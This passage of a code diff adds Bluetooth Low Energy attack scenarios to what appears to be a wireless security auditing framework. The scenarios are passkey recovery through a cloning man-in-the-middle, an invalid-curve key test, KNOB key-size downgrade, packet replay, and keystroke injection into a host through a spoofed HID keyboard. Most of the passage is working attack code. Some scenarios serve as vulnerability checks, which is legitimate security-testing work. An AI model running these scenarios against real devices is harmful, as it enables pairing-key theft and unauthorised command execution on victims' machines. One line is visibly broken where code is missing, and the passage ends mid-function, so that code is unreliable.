self.pairingMethod = None + + self.pairingRequest = None + self.pairingResponse = None + + self.remoteAddress = None + self.remoteAddressType = None + self.localNonce = None + self.remoteConfirm = None + self.localIOCap = None + self.remoteIOCap = None + self.pReq = None + self.pRes = None + + self.failure = False + + self.passkey = 0 + self.currBitIndexMaster = 19 + self.currBitIndex = 19 + self.bitMask = 0b10000000000000000000 + self.rb = 0x00 + # Results + self.localIRK = None + self.localCSRK = None + self.remoteIRK = None + self.remoteCSRK = None + # Master confirm value params + self.nwOrderMasterPubKeyX = None + self.nwOrderMasterPubKeyY = None + self.nwOrderMasterLastNonce = None + self.nwOrderMasterLastConfirmValue = None + + # Scan slave + io.info("Scanning for slave") + self.module.setStage(self.module.BLEStage.SCAN) + self.module.a2sReceiver.setScan(enable=True) + self.module.waitUntilStage(self.module.BLEStage.IDLE) + self.module.a2sReceiver.setScan(enable=False) + # Apply new address at each start + self.module.a2sEmitter.setAddress( + self.localAddress, random=self.localAddressType == 1 + ) + # Connect on slave + io.info("Connect on slave") + self.module.setStage(self.module.BLEStage.WAIT_CONN) + self.module.connectOnSlave() + self.module.waitUntilStage(self.module.BLEStage.IDLE) + io.info("Cloned slave") + self.module.startAdvertisingOnEmitter( + self.module.a2mEmitter, + self.remoteAddress, + self.dataAdvInd, + self.dataScanRsp, + self.intervalMin, + self.intervalMax, + self.addrType, + ) + return True + + def onEnd(self, result): + result["success"] = self.success + result["finished"] = self.finished + self.module.printScenarioEnd(result) + self.module.addBlockedPDUsForEmitter( + emitter=self.module.a2mEmitter, listOfBlockedPDUs=[] + ) + return True + + def onKey(self, key): + if key == "esc": + self.module.setStage(self.module.BLEStage.STOP) + + def onSlaveAdvertisement(self, packet): + if utils.addressArg(self.module.args["TARGET"]) == packet.addr.upper(): + if packet.type == "ADV_IND": + io.info("Found corresponding advertisement !") + self.remoteAddress = utils.addressArg(self.module.args["TARGET"]) + data = packet.getRawDatas() + self.intervalMin = packet.intervalMin + self.intervalMax = packet.intervalMax + self.addrType = packet.addrType + self.dataAdvInd = data + elif packet.type == "SCAN_RSP": + self.dataScanRsp = packet.getRawDatas() + if self.dataAdvInd != None and self.dataScanRsp != None: + self.module.setStage(self.module.BLEStage.IDLE) + + def onSlaveConnectionComplete(self, packet): + self.module.setStage(self.module.BLEStage.IDLE) + return True + + def onMasterCreateConnection(self, packet): + io.info("Master connected!") + io.info("Enable MitM") + self.module.enableMitM(enable=True) + return False + + def pairingMethodSelection(self): + self.secureConnections = ( + self.responderAuthReq.secureConnections + and self.initiatorAuthReq.secureConnections + ) + if self.secureConnections: + io.info("Both devices support LE secure connections") + self.useOOB = ( + self.pairingRequest.outOfBand and self.pairingResponse.outOfBand + ) + self.ioCapabilities = ( + self.responderAuthReq.mitm or self.initiatorAuthReq.mitm + ) + self.justWorks = ( + not self.responderAuthReq.mitm and not self.initiatorAuthReq.mitm + ) + + else: + io.fail( + "At least one of the devices doesn't support LE secure connections, Scenario is for SC PassKey Entry!" + ) + self.failure = True + self.finished = True + return None + + io.chart( + ["Out Of Bond", "IO Capabilities", "Just Works"], + [ + [ + "yes" if self.useOOB else "no", + "yes" if self.ioCapabilities else "no", + "yes" if self.justWorks else "no", + ] + ], + ) + + if self.ioCapabilities: + initiator = "NoInputNoOutput" + responder = "NoInputNoOutput" + if self.initiatorInputOutputCapability.data[0] == 0x00: + initiator = "DisplayOnly" + elif self.initiatorInputOutputCapability.data[0] == 0x01: + initiator = "DisplayYesNo" + elif self.initiatorInputOutputCapability.data[0] == 0x02: + initiator = "KeyboardOnly" + elif self.initiatorInputOutputCapability.data[0] == 0x03: + initiator = "NoInputNoOutput" + elif self.initiatorInputOutputCapability.data[0] == 0x04: + initiator = "KeyboardDisplay" + + if self.responderInputOutputCapability.data[0] == 0x00: + responder = "DisplayOnly" + elif self.responderInputOutputCapability.data[0] == 0x01: + responder = "DisplayYesNo" + elif self.responderInputOutputCapability.data[0] == 0x02: + responder = "KeyboardOnly" + elif self.responderInputOutputCapability.data[0] == 0x03: + responder = "NoInputNoOutput" + elif self.responderInputOutputCapability.data[0] == 0x04: + responder = "KeyboardDisplay" + + pairingMethod = ble.PairingMethods.getPairingMethod( + secureConnections=self.secureConnections, + initiatorInputOutputCapability=initiator, + responderInputOutputCapability=responder, + ) + + if pairingMethod != ble.PairingMethods.PASSKEY_ENTRY: + io.fail("At least one of the devices doesn't support SC PassKey Entry!") + self.failure = True + self.finished = True + return None + else: + self.pairingMethod = "PasskeyEntry" + else: + io.fail("At least one of the devices doesn't support SC PassKey Entry!") + self.failure = True + self.finished = True + return None + + return self.pairingMethod + + def onMasterPairingConfirm(self, packet): + + self.nwOrderMasterLastConfirmValue = packet.confirm + + io.info("Pairing Confirm (from master) : Reflect to master") + self.module.a2mEmitter.sendp(ble.BLEPairingConfirm(confirm=packet.confirm)) + return False + + def onMasterPairingRandom(self, packet): + + self.nwOrderMasterLastRandom = packet.random + + io.info("Pairing Random (from master) : Reflect to master") + self.module.a2mEmitter.sendp(ble.BLEPairingRandom(random=packet.random)) + + keyX = CryptoUtils.reverseOrder(self.nwOrderMasterPubKeyX.hex()) + confirm_bit_one = self.sc_crypto_master.generateConfirmValue( + keyX=keyX, + remoteKeyX=keyX, + localNonce=CryptoUtils.reverseOrder(self.nwOrderMasterLastRandom.hex()), + rbi=b"\x81", + ) + curr_bit = 0 + if confirm_bit_one == self.nwOrderMasterLastConfirmValue: + io.info("PassKey Bit is 1") + curr_bit = 1 + else: + io.info("PassKey Bit is 0") + + self.passkey = (curr_bit << (19 - self.currBitIndexMaster)) ^ self.passkey + self.currBitIndexMaster -= 1 + + if self.currBitIndexMaster < 0: + # Master done + self.module.enableMitM(enable=False) + if self.module.a2mEmitter.isConnected(): + self.module.a2mEmitter.sendp(ble.BLEDisconnect()) + + while not self.sc_crypto_slave.isSharedSecretReady(): + utils.wait(0.2) + + self.module.waitUntilStage(self.module.BLEStage.CUSTOM2) + nwOrderConfirmValue = self.generateConfirmValue() + confirmPacket = ble.BLEPairingConfirm(confirm=nwOrderConfirmValue) + io.info("{}".format(confirmPacket)) + self.module.a2sEmitter.sendp(confirmPacket) + self.module.setStage(self.module.BLEStage.CUSTOM1) + return False + + def onSlavePairingConfirm(self, packet): + io.info("{}".format(packet)) + self.remoteConfirm = packet.confirm + nwOrderLocalNonce = ( + self.localNonce + if self.localNonce + else self.sc_crypto_slave.generateLocalNonce() + ) + self.module.a2sEmitter.sendp(ble.BLEPairingRandom(random=nwOrderLocalNonce)) + return False + + def onMasterPairingRequest(self, packet): + self.initiatorKeyDistribution = ble.KeyDistributionFlag( + data=bytes([packet.initiatorKeyDistribution]) + ) + io.info("{}".format(packet)) + self.pairingRequest = packet + self.pReq = self.pairingRequest.payload[::-1] + + self.initiatorAuthReq = ble.AuthReqFlag(data=bytes([packet.authentication])) + self.initiatorInputOutputCapability = ble.InputOutputCapability( + data=bytes([packet.inputOutputCapability]) + ) + self.initiatorKeyDistribution = ble.KeyDistributionFlag( + data=bytes([packet.initiatorKeyDistribution]) + ) + self.masterRemoteIOCap = ( + bytes([packet.authentication]) + + (b"01" if packet.outOfBand else b"00") + + bytes([packet.inputOutputCapability]) + ) + + oob = b"\x00" + self.localIOCap = ( + self.initiatorAuthReq.data + oob + self.initiatorInputOutputCapability.data + ) + return True + + def onSlavePairingRandom(self, packet): + io.info("{}".format(packet)) + self.remoteNonce = packet.random + if self.sc_crypto_slave.verifyConfirmValue( + self.remoteNonce, self.remoteConfirm, rbi=bytes([self.rb]) + ): + io.info("Verify Confirm value success!") + else: + io.fail("Verify Confirm value failed!") + self.module.a2sEmitter.sendp(ble.BLEPairingFailed()) + if not self.module.scenarioEnabled: + self.failure = True + + if self.currBitIndex < 0: + io.info("Deriving LTK") + self.sc_crypto_slave.deriveLTKInitiator( + self.localAddress, + self.remoteAddress, + self.localAddressType, + self.remoteAddressType, + self.remoteNonce, + ) + io.info("Sending DH Key Check") + r = struct.pack("> self.currBitIndex) & self.passkey) >> ( + 19 - self.currBitIndex + ) + self.currBitIndex -= 1 + rb = 0b10000000 ^ rb + self.rb = rb + return self.sc_crypto_slave.generateConfirmValue(rbi=bytes([rb])) diff --git a/mirage/scenarios/ble_fixed_coord_invalid_curve.py b/mirage/scenarios/ble_fixed_coord_invalid_curve.py new file mode 100644 index 0000000..7cd71c0 --- /dev/null +++ b/mirage/scenarios/ble_fixed_coord_invalid_curve.py @@ -0,0 +1,102 @@ +from mirage.core import scenario +from mirage.libs import io, ble, utils +from mirage.libs.ble_utils.dissectors import * +from mirage.libs.ble_utils.sc_crypto import CryptoUtils +from binascii import unhexlify + + +class ble_fixed_coord_invalid_curve(scenario.Scenario): + def onStart(self): + self.module.printScenarioStart("Fixed coordinate invalid curve") + # Success status of the scenario + self.finished = False + self.success = self.module.ScenarioResult.NOT + + # Apply new address at each start + self.module.emitter.setAddress(CryptoUtils.getRandomAddress(), random=True) + # Connect on slave + io.info("Connect on slave") + address = utils.addressArg(self.module.args["TARGET"]) + connectionType = self.module.args["CONNECTION_TYPE"] + self.module.emitter.sendp( + ble.BLEConnect(dstAddr=address, type=connectionType, initiatorType="random") + ) + while not self.module.emitter.isConnected(): + utils.wait(seconds=0.5) + return True + + def onEnd(self, result): + result["success"] = self.success + result["finished"] = self.finished + self.module.printScenarioEnd(result) + return True + + def onKey(self, key): + if key == "esc": + self.module.setStage(self.module.BLEStage.STOP) + return True + + def slaveConnectionComplete(self, packet): + self.module.setStage(self.module.BLEStage.IDLE) + io.info("Slave connected") + self.connected = True + + def onSlaveDisconnect(self, packet): + self.module.setStage(self.module.BLEStage.STOP) + return False + + def onSlavePairingResponse(self, packet): + io.info("Received Pairing Response: {}".format(packet)) + self.module.localAddress = self.module.emitter.getAddress() + self.module.localAddressType = ( + 0 if self.module.emitter.getAddressMode() == "public" else 1 + ) + + self.module.remoteAddress = self.module.emitter.getCurrentConnection() + self.module.remoteAddressType = ( + 0 if self.module.emitter.getCurrentConnectionMode() == "public" else 1 + ) + + io.info("{}".format(packet)) + self.module.pairingResponse = packet + self.module.pRes = self.module.pairingResponse.payload[::-1] + + self.module.responderAuthReq = ble.AuthReqFlag( + data=bytes([packet.authentication]) + ) + self.module.responderInputOutputCapability = ble.InputOutputCapability( + data=bytes([packet.inputOutputCapability]) + ) + self.module.responderKeyDistribution = ble.KeyDistributionFlag( + data=bytes([packet.responderKeyDistribution]) + ) + + (nwOrderPubKeyX, nwOrderPubKeyY) = self.module.sc_crypto.generateDHKeyPair() + self.module.remoteIOCap = ( + format(packet.authentication, "02x") + + ("01" if packet.outOfBand else "00") + + format(packet.inputOutputCapability, "02x") + ) + self.module.remoteIOCap = unhexlify(self.module.remoteIOCap) + response = ble.BLEPublicKey(key_x=nwOrderPubKeyX, key_y=b"\x00" * 16) + io.info("{}".format(response)) + self.module.emitter.sendp(response) + io.success("Sended Public Key with y coordinate equals zero...") + return False + + def onSlavePairingFailed(self, packet): + self.success = self.module.ScenarioResult.NOT + self.finished = True + self.module.finished = True + io.success("Slave rejected pairing...") + return False + + def onSlavePublicKey(self, packet): + self.success = self.module.ScenarioResult.VULN + self.finished = True + self.module.emitter.sendp( + ble.BLEPairingFailed(reason=ble.SM_ERR_PAIRING_NOT_SUPPORTED) + ) + self.module.finished = True + io.fail("Slave continued with pairing...") + return False diff --git a/mirage/scenarios/ble_hid_mitm.py b/mirage/scenarios/ble_hid_mitm.py new file mode 100644 index 0000000..8f9f356 --- /dev/null +++ b/mirage/scenarios/ble_hid_mitm.py @@ -0,0 +1,168 @@ +from errno import errorcode +import threading +from enum import IntEnum +from mirage.core import scenario +from mirage.libs import io, ble, utils, wireless +from mirage.libs.common import parsers +from mirage.libs.ble_utils.dissectors import * +from mirage.libs.ble_utils.sc_crypto import CryptoUtils + + +class BLEMitmStage(IntEnum): + SCAN = 1 + CLONE = 2 + WAIT_CONNECTION = 3 + MASTER_CONNECTION = 4 + ACTIVE_MITM = 5 + STOP = 6 + + +class ble_hid_mitm(scenario.Scenario): + def onStart(self): + if self.module.args["INTERFACE2"] == "": + io.fail("This scenario requires two interfaces!") + self.module.setStage(self.module.BLEStage.STOP) + return + + # Local and remote address + self.sLocalAddress = CryptoUtils.getRandomAddress() + # Use random address as public identity address + self.sLocalAddressType = 1 + self.sRemoteAddress = utils.addressArg(self.args["TARGET"]) + self.sRemoteAddressType = 0 if self.args["CONNECTION_TYPE"] == "public" else 1 + + # Get command from args + if not self.args["COMMAND"] and not self.args["DUCKYSCRIPT"]: + io.fail("This scenario requires a command or duckyscript to execute!") + self.module.setStage(BLEMitmStage.STOP) + return + + self.hidMap = HIDMapping(locale="de") + + if self.args["COMMAND"]: + io.info("Command injection: " + self.args["COMMAND"]) + self.command = self.args["COMMAND"] + # io.info("You can start the injection by pressing [SPACE]") + elif self.args["DUCKYSCRIPT"]: + io.info("Duckyscript injection: " + self.args["DUCKYSCRIPT"]) + parser = parsers.DuckyScriptParser(filename=self.args["DUCKYSCRIPT"]) + self.attackStream = parser.generatePackets( + textFunction=self.addHIDoverGATTText, + initFunction=self.startHIDoverGATTInjection, + keyFunction=self.addHIDoverGATTKeystroke, + sleepFunction=self.addHIDoverGATTDelay, + ) + + # Create a lock to protect the command execution + self.lock = threading.Lock() + + return True + + def onEnd(self, result): + return True + + def onKey(self, key): + if key == "esc": + self.module.setStage(BLEMitmStage.STOP) + return False + + if self.args["DUCKYSCRIPT"] and key == "1": + self.lock.acquire() + for o in self.attackStream: + self.module.a2mEmitter.sendp(o) + # Command was executed + self.lock.release() + elif self.args["COMMAND"] and key == "1": + isCtrlKey = False + keyGroup = [] + ctrlKey = "" + for character in self.command: + io.warning(f"Sending {character}") + if character == "[": + isCtrlKey = True + elif character == "]": + if ctrlKey == "sleep": + utils.wait(seconds=0.4) + else: + keyGroup.append(ctrlKey) + ctrl = True if "ctrl" in keyGroup else False + shift = True if "shift" in keyGroup else False + gui = True if "gui" in keyGroup else False + alt = True if "alt" in keyGroup else False + key = keyGroup[len(keyGroup) - 1] + self.sendGATTKeystroke( + key=key, alt=alt, ctrl=ctrl, shift=shift, gui=gui + ) + + isCtrlKey = False + ctrlKey = "" + keyGroup = [] + elif isCtrlKey: + if character == "-": + keyGroup.append(ctrlKey) + ctrlKey = "" + else: + ctrlKey = ctrlKey + character + else: + self.sendGATTKeystroke(key=character) + + return False + + def sendGATTKeystroke( + self, locale="de", key="a", ctrl=False, alt=False, gui=False, shift=False + ): + keystrokes = [] + keystrokePressed = ble.HIDoverGATTKeystroke( + locale=locale, key=key, ctrl=ctrl, alt=alt, gui=gui, shift=shift + ) + keystrokeReleased = bytes([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) + # 0000000000000000000000 + packet = ble.BLEHandleValueNotification( + handle=0x0013, value=keystrokePressed.data + ) + self.module.a2mEmitter.sendp(packet) + self.module.a2mEmitter.sendp( + ble.BLEHandleValueNotification(handle=0x0013, value=keystrokeReleased) + ) + return keystrokes + + def addHIDoverGATTKeystroke( + self, locale="de", key="a", ctrl=False, alt=False, gui=False, shift=False + ): + keystrokes = [] + keystrokePressed = ble.HIDoverGATTKeystroke( + locale=locale, key=key, ctrl=ctrl, alt=alt, gui=gui, shift=shift + ) + keystrokeReleased = bytes([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]) + keystrokes.append( + ble.BLEHandleValueNotification(handle=0x0013, value=keystrokePressed.data) + ) + keystrokes.append(wireless.WaitPacket(time=0.004)) + keystrokes.append( + ble.BLEHandleValueNotification(handle=0x0013, value=keystrokeReleased) + ) + # TODO: Maybe add wait packet also here + return keystrokes + + def startHIDoverGATTInjection(self): + return [] + + def addHIDoverGATTDelay(self, duration=1000): + keystrokes = [] + keystrokes.append(wireless.WaitPacket(time=0.0001 * duration)) + return keystrokes + + def addHIDoverGATTText(self, string="hello world !", locale="de"): + keystrokes = [] + for letter in string: + keystrokes += self.addHIDoverGATTKeystroke(key=letter, locale=locale) + return keystrokes + + def onSlaveHandleValueNotification(self, packet): + if packet.handle == 0x0013: + key = self.hidMap.getKeyFromHIDCode( + modifiers=packet.value[0], hid=packet.value[1] + ) + if key: + io.success(key) + return True diff --git a/mirage/scenarios/ble_knob.py b/mirage/scenarios/ble_knob.py new file mode 100644 index 0000000..d23b06e --- /dev/null +++ b/mirage/scenarios/ble_knob.py @@ -0,0 +1,281 @@ +from mirage.core import scenario +from mirage.libs import io, ble, utils +from mirage.libs.ble_utils.dissectors import * +from mirage.libs.ble_utils.sc_crypto import CryptoUtils + + +class ble_knob(scenario.Scenario): + def onStart(self): + self.useOOB = False + self.checkMitm = False + self.ioCapabilities = False + self.justWorks = False + + self.tk = self.stk = b"\x00" * 16 + + self.pairingRequest = None + self.pairingResponse = None + + self.responderAddress = None + self.responderAddressType = None + self.initiatorAddress = None + self.initiatorAddressType = None + self.pReq = None + self.pRes = None + self.mRand = None + self.sRand = None + self.module.printScenarioStart("KNOB") + # Success status of the scenario + self.finished = False + self.success = self.module.ScenarioResult.NOT + + self.initiatorAddress = None + self.initiatorAddressType = None + self.responderAddress = None + self.responderAddressType = None + + self.results = [True for i in range(17)] + self.currParams = {} + for i in range(16, -1, -1): + # Apply new address at each start + self.module.a2sEmitter.setAddress( + CryptoUtils.getRandomAddress(), random=True + ) + + # Connect on slave + io.info("Connect on slave") + self.module.setStage(self.module.BLEStage.WAIT_CONN) + self.module.connectOnSlave() + self.module.waitUntilStage(self.module.BLEStage.IDLE) + self.currParams = { + "keySize": i, + "mitm": True, + "bonding": True, + "sc": self.module.args["SECURE_CONNECTION"], + } + self.pairingRequest = self.getPairingRequest(self.currParams) + self.pReq = self.pairingRequest.payload[::-1] + io.info("Try with keyLen = {}".format(self.currParams)) + self.module.setStage(self.module.BLEStage.CUSTOM1) + self.module.a2sEmitter.sendp(self.pairingRequest) + self.module.waitUntilStage(self.module.BLEStage.IDLE) + + self.minKeyLen = -1 + self.maxKeyLen = -1 + self.undefinedBahaviour = False + for i in range(len(self.results)): + if self.results[i] == self.module.ScenarioResult.VULN: + if self.minKeyLen == -1: + self.maxKeyLen = i + self.minKeyLen = i + else: + self.maxKeyLen = i + elif self.results[i] == self.module.ScenarioResult.MAYBE: + self.undefinedBahaviour = True + if not self.undefinedBahaviour: + self.finished = True + if self.minKeyLen == 16: + self.success = self.module.ScenarioResult.NOT + elif self.minKeyLen >= 7: + self.success = self.module.ScenarioResult.MAYBE + else: + self.success = self.module.ScenarioResult.VULN + + io.success( + "Accepted key length in range {}-{} bytes".format( + self.minKeyLen, self.maxKeyLen + ) + ) + + self.module.setStage(self.module.BLEStage.STOP) + return True + + def getPairingRequest(self, params): + keyboard = False + yesno = False + display = False + + ct2 = False + mitm = params["mitm"] + bonding = params["bonding"] + secureConnections = params["sc"] + keyPress = False + + self.initiatorInputOutputCapability = ble.InputOutputCapability( + keyboard=keyboard, display=display, yesno=yesno + ) + self.initiatorAuthReq = ble.AuthReqFlag( + ct2=ct2, + mitm=mitm, + bonding=bonding, + secureConnections=secureConnections, + keypress=keyPress, + ) + self.initiatorKeyDistribution = ble.KeyDistributionFlag( + linkKey=True, encKey=True, idKey=False, signKey=True + ) + + return ble.BLEPairingRequest( + authentication=self.initiatorAuthReq.data[0], + inputOutputCapability=self.initiatorInputOutputCapability.data[0], + initiatorKeyDistribution=self.initiatorKeyDistribution.data[0], + responderKeyDistribution=self.initiatorKeyDistribution.data[0], + maxKeySize=params["keySize"], + ) + + def onEnd(self, result): + result["success"] = self.success + result["finished"] = self.finished + self.module.printScenarioEnd(result) + return True + + def onKey(self, key): + if key == "esc": + self.module.setStage(self.module.BLEStage.STOP) + return True + + def onSlaveConnectionComplete(self, packet): + self.module.setStage(self.module.BLEStage.IDLE) + return True + + def onSlaveDisconnect(self, packet): + if self.module.getStage() == self.module.BLEStage.WAIT_CONN: + self.module.connectOnSlave() + else: + self.module.setStage(self.module.BLEStage.IDLE) + return False + + def onSlavePairingResponse(self, packet): + auth = ble.AuthReqFlag(data=bytes([packet.authentication])) + if auth.secureConnections: + self.results[self.currParams["keySize"]] = self.module.ScenarioResult.VULN + io.info("Slave accepted key length: {}".format(self.currParams)) + self.module.a2sEmitter.sendp(ble.BLEDisconnect()) + else: + self.initiatorAddress = self.module.a2sEmitter.getAddress() + self.initiatorAddressType = ( + b"\x00" + if self.module.a2sEmitter.getAddressMode() == "public" + else b"\x01" + ) + self.responderAddress = self.module.a2sEmitter.getCurrentConnection() + self.responderAddressType = ( + b"\x00" + if self.module.a2sEmitter.getCurrentConnectionMode() == "public" + else b"\x01" + ) + + self.pairingResponse = packet + self.pRes = self.pairingResponse.payload[::-1] + self.responderAuthReq = ble.AuthReqFlag(data=bytes([packet.authentication])) + self.responderInputOutputCapability = ble.InputOutputCapability( + data=bytes([packet.inputOutputCapability]) + ) + self.responderKeyDistribution = ble.KeyDistributionFlag( + data=bytes([packet.responderKeyDistribution]) + ) + pairingMethod = self.pairingMethodSelection() + io.info("Pairing Method selected : " + self.pairingMethod) + + self.mRand = ble.BLECrypto.generateRandom() + io.info("Generating random : " + self.mRand.hex()) + + pinCode = 0 + if pairingMethod != "JustWorks": + pinCode = int(io.enterPinCode("Enter the 6 digit PIN code: ")) + + self.tk = self.pinToTemporaryKey(pinCode) + io.info("Generating Temporary Key : " + self.tk.hex()) + self.mConfirm = ble.BLECrypto.c1( + self.tk, + self.mRand[::-1], + self.pReq, + self.pRes, + self.initiatorAddressType, + self.initiatorAddress, + self.responderAddressType, + self.responderAddress, + ) + io.info("Generating MConfirm : " + self.mConfirm.hex()) + confirmPacket = ble.BLEPairingConfirm(confirm=self.mConfirm[::-1]) + confirmPacket.show() + self.module.a2sEmitter.sendp(confirmPacket) + + def onSlavePairingFailed(self, packet): + if packet.reason == ble.SM_ERR_ENCRYPTION_KEY_SIZE: + self.results[self.currParams["keySize"]] = self.module.ScenarioResult.NOT + io.info("Slave rejected key length: {}".format(self.currParams)) + self.module.a2sEmitter.sendp(ble.BLEDisconnect()) + else: + self.results[self.currParams["keySize"]] = self.module.ScenarioResult.MAYBE + io.warning("Unexpected pairing failure reason...") + self.module.pairingFailed(packet) + io.info("Disconnect slave") + self.module.a2sEmitter.sendp(ble.BLEDisconnect()) + + def onSlavePairingConfirm(self, packet): + self.results[self.currParams["keySize"]] = self.module.ScenarioResult.VULN + io.info("Slave accepted key length: {}".format(self.currParams)) + self.module.a2sEmitter.sendp(ble.BLEDisconnect()) + + def pairingMethodSelection(self): + self.secureConnections = ( + self.responderAuthReq.secureConnections + and self.initiatorAuthReq.secureConnections + ) + self.useOOB = self.pairingRequest.outOfBand or self.pairingResponse.outOfBand + self.ioCapabilities = self.responderAuthReq.mitm or self.initiatorAuthReq.mitm + self.justWorks = ( + not self.responderAuthReq.mitm and not self.initiatorAuthReq.mitm + ) + + if self.ioCapabilities: + initiator = "NoInputNoOutput" + responder = "NoInputNoOutput" + if self.initiatorInputOutputCapability.data[0] == 0x00: + initiator = "DisplayOnly" + elif self.initiatorInputOutputCapability.data[0] == 0x01: + initiator = "DisplayYesNo" + elif self.initiatorInputOutputCapability.data[0] == 0x02: + initiator = "KeyboardOnly" + elif self.initiatorInputOutputCapability.data[0] == 0x03: + initiator = "NoInputNoOutput" + elif self.initiatorInputOutputCapability.data[0] == 0x04: + initiator = "KeyboardDisplay" + + if self.responderInputOutputCapability.data[0] == 0x00: + responder = "DisplayOnly" + elif self.responderInputOutputCapability.data[0] == 0x01: + responder = "DisplayYesNo" + elif self.responderInputOutputCapability.data[0] == 0x02: + responder = "KeyboardOnly" + elif self.responderInputOutputCapability.data[0] == 0x03: + responder = "NoInputNoOutput" + elif self.responderInputOutputCapability.data[0] == 0x04: + responder = "KeyboardDisplay" + + pairingMethod = ble.PairingMethods.getPairingMethod( + secureConnections=self.secureConnections, + initiatorInputOutputCapability=initiator, + responderInputOutputCapability=responder, + ) + + if pairingMethod == ble.PairingMethods.JUST_WORKS: + self.pairingMethod = "JustWorks" + elif pairingMethod == ble.PairingMethods.PASSKEY_ENTRY: + self.pairingMethod = "PasskeyEntry" + elif pairingMethod == ble.PairingMethods.NUMERIC_COMPARISON: + self.pairingMethod = "NumericComparison" + else: + self.pairingMethod = "JustWorks" + elif self.useOOB: + self.pairingMethod = "OutOfBonds" + else: + self.pairingMethod = "JustWorks" + + return self.pairingMethod + + def pinToTemporaryKey(self, pin): + hexn = hex(pin)[2:] + tk = bytes.fromhex((32 - len(hexn)) * "0" + hexn) + return tk diff --git a/mirage/scenarios/ble_replay.py b/mirage/scenarios/ble_replay.py new file mode 100644 index 0000000..964edf2 --- /dev/null +++ b/mirage/scenarios/ble_replay.py @@ -0,0 +1,244 @@ +from mirage.core import scenario +from mirage.libs import io, ble, utils +from mirage.libs.ble_utils.dissectors import * +from mirage.libs.ble_utils.sc_crypto import CryptoUtils + + +class ble_replay(scenario.Scenario): + def onStart(self): + self.packetFlow = [] + + self.replay = False + self.replayIndex = 0 + self.packetDelayed = False + self.lastMasterPacket = None + self.expectedSlavePacket = None + + self.responderAddress = None + self.responderAddressType = None + self.initiatorAddress = None + self.initiatorAddressType = None + + self.module.printScenarioStart("Replay") + # Success status of the scenario + self.finished = False + self.success = self.module.ScenarioResult.NOT + + io.ask( + "First the packets are recorded: Press Enter to start, if all required packets are transfered press 's' to stop recording" + ) + + def onEnd(self, result): + result["success"] = self.success + result["finished"] = self.finished + self.module.printScenarioEnd(result) + return True + + def onKey(self, key): + if key == "s": + # Disconnect devices + self.replay = True + + self.module.a2mEmitter.sendp(ble.BLEDisconnect()) + while self.module.a2sEmitter.isConnected(): + utils.wait(seconds=0.01) + + if key == "esc": + self.module.setStage(self.module.BLEMitmStage.STOP) + return True + + def slavePacket(self, packet): + if self.replay: + if self.replayIndex >= len(self.packetFlow): + self.success = True + self.finished = True + self.module.setStage(self.module.BLEMitmStage.STOP) + io.info("Replayed all packets") + else: + io.info("Slave: {}".format(packet)) + (masterPkt, slavePktType) = self.packetFlow[self.replayIndex] + if not type(packet) == self.expectedSlavePacket: + # We have no idea what is happening :'( + # Just continue and hope for the best + io.info("Maybe something is wrong") + io.info("Master: {}".format(masterPkt)) + if masterPkt: + self.module.a2sEmitter.sendp(masterPkt) + self.expectedSlavePacket = slavePktType + + self.replayIndex += 1 + return False + else: + if self.lastMasterPacket: + self.packetFlow.append((self.lastMasterPacket, type(packet))) + self.lastMasterPacket = None + else: + self.packetFlow.append((None, type(packet))) + return True + + def masterPacket(self, packet): + if not self.replay: + if self.lastMasterPacket: + self.packetFlow.append((self.lastMasterPacket, None)) + self.lastMasterPacket = packet + return True + else: + return False + + def onMasterDisconnect(self, packet): + io.info("Master disconnected") + io.ask( + "Take care that original master is not interrupting replay. If ready start Replay with Enter" + ) + + self.module.a2sEmitter.sendp(ble.BLEDisconnect()) + while self.module.a2sEmitter.isConnected(): + utils.wait(seconds=0.01) + + self.module.connectOnSlave() + + (masterPkt, slavePktType) = self.packetFlow[self.replayIndex] + + io.info("{}".format(masterPkt)) + if masterPkt: + self.module.a2sEmitter.sendp(masterPkt) + self.expectedSlavePacket = slavePktType + return False + + def onMasterExchangeMTURequest(self, packet): + return self.masterPacket(packet) + + def onSlaveExchangeMTUResponse(self, packet): + return self.slavePacket(packet) + + def onMasterWriteCommand(self, packet): + return self.masterPacket(packet) + + def onMasterWriteRequest(self, packet): + return self.masterPacket(packet) + + def onSlaveWriteResponse(self, packet): + return self.slavePacket(packet) + + def onMasterReadBlobRequest(self, packet): + return self.masterPacket(packet) + + def onSlaveReadBlobResponse(self, packet): + return self.slavePacket(packet) + + def onMasterReadRequest(self, packet): + return self.masterPacket(packet) + + def onSlaveReadResponse(self, packet): + return self.slavePacket(packet) + + def onSlaveErrorResponse(self, packet): + return self.slavePacket(packet) + + def onSlaveHandleValueNotification(self, packet): + return self.slavePacket(packet) + + def onSlaveHandleValueIndication(self, packet): + return self.slavePacket(packet) + + def onMasterHandleValueConfirmation(self, packet): + return self.masterPacket(packet) + + def onMasterFindInformationRequest(self, packet): + return self.masterPacket(packet) + + def onSlaveFindInformationResponse(self, packet): + return self.slavePacket(packet) + + def onMasterFindByTypeValueRequest(self, packet): + return self.masterPacket(packet) + + def onSlaveFindByTypeValueResponse(self, packet): + return self.slavePacket(packet) + + def onMasterReadByTypeRequest(self, packet): + return self.masterPacket(packet) + + def onMasterReadByGroupTypeRequest(self, packet): + return self.masterPacket(packet) + + def onSlaveReadByTypeResponse(self, packet): + return self.slavePacket(packet) + + def onSlaveReadByGroupTypeResponse(self, packet): + return self.slavePacket(packet) + + def onMasterPairingRequest(self, packet): + return self.masterPacket(packet) + + def onSlaveSecurityRequest(self, packet): + return self.slavePacket(packet) + + def onSlavePairingResponse(self, packet): + return self.slavePacket(packet) + + def onMasterPairingConfirm(self, packet): + return self.masterPacket(packet) + + def onSlavePairingConfirm(self, packet): + return self.slavePacket(packet) + + def onMasterPairingRandom(self, packet): + return self.masterPacket(packet) + + def onSlavePairingRandom(self, packet): + return self.slavePacket(packet) + + def onMasterPairingFailed(self, packet): + return self.masterPacket(packet) + + def onSlavePairingFailed(self, packet): + return self.slavePacket(packet) + + def onSlaveEncryptionInformation(self, packet): + return self.slavePacket(packet) + + def onSlaveMasterIdentification(self, packet): + return self.slavePacket(packet) + + def onSlaveIdentityAddressInformation(self, packet): + return self.slavePacket(packet) + + def onSlaveIdentityInformation(self, packet): + return self.slavePacket(packet) + + def onSlaveSigningInformation(self, packet): + return self.slavePacket(packet) + + def onMasterEncryptionInformation(self, packet): + return self.masterPacket(packet) + + def onMasterMasterIdentification(self, packet): + return self.masterPacket(packet) + + def onMasterIdentityAddressInformation(self, packet): + return self.masterPacket(packet) + + def onMasterMasterIdentification(self, packet): + return self.masterPacket(packet) + + def 